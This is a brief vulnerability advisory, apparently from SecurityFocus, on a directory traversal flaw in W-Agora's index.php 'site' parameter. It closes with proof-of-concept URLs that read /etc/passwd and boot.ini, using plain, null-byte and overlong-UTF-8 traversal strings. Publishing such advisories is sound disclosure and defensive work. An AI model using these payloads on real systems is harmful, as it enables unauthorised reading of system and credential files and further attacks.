source: https://www.securityfocus.com/bid/14597/info W-Agora is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini%00 http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd%00 http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd http://www.example.com/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini
